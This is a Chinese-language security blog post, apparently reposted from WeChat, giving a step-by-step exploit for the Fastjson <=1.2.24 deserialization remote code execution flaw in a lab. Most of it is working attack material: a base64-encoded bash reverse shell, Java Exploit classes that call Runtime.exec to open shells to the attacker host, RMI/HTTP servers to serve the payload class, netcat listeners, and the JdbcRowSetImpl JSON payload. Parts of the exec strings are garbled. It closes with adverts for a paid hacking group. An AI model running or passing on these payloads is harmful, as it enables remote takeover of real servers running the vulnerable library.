Fastjson <=1.2.24反序列化远程命令执行漏洞
2023-3-9 21:50:3 Author: 渗透安全团队(查看原文) 阅读量:28 收藏

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

1、靶机IP:192.168.111.133

     攻击机IP:192.168.111.129

2、下载利用工具。

下载链接:

git clone https://github.com/wyzxxz/fastjson_rce_tool.git

3、利用工具启动RMI server

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "要执行的命令"
java -cp fastjson_tool.jar fastjson.HRMIServer 攻击机IP 端口随意 "要执行的命令"

如果是反弹shell的命令,需要将其进行编码,管道符,输入输出重定向,只有在bash环境下才能用,而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符,输入输出重定向等,因此需要base64编码一下。

4、反弹shell命令。

bash -i >& /dev/tcp/192.168.111.129/6666 0>&1

我们进行base64编码:http://www.jsons.cn/base64/

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

5、然后放入payload中执行。

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

利用JNDI注入加载远程RMI server上的字节码。

6、生成字节码文件步骤如下:

Exploit.java

//javac Exploit.javaimport java.lang.Runtime;import java.lang.Process;
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i &gt;& /dev/tcp/192.168.111.129/6666 0&gt;&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); }}

7、对Exploit.java文件进行编译。

javac Exploit.java

8、我们在攻击机开启监听。

nc -lvvp 6666

9、我们在Burp里面发包。

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

10、此时我们已经拿到了shell。

1、工具下载:

https://github.com/mbechler/marshalsec

2、借助marshalsec项目启动一个rmi服务器,监听一个端口,并指定加载远程类Exploit.class。

maven打包项目成jar包:

mvn clean package -DskipTests

2、攻击机开启RMI Server。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8000/#Exploit" 9999

3、编写漏洞利用脚本Exploit.java。

//javac Exploit.javapublic class Exploit{    public Exploit(){        try{            Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.111.129/2333 0>&1");        }catch(Exception e){            e.printStackTrace();        }    }    public static void main(String[] argv){        Exploit e = new Exploit();    }}

4、在攻击机开启8000端口的HTTP服务,在Exploit.class所在目录执行。

[python2]python2 -m SimpleHTTPServer[python3]python3 -m http.server

5、攻击机开启2333端口监听,等待靶机将shell送上来。

nc -lvvp 2333

6、Burp发包攻击。

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

7、此时我们成功拿到了shell。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247499884&idx=3&sn=fccbf46df7a226646dc2add4efff42d1&chksm=c1763dc3f601b4d57d2731eb4c6321cce0627c2172b3e20a24217a102e397edf34b95226c689#rd
如有侵权请联系:admin#unsafe.sh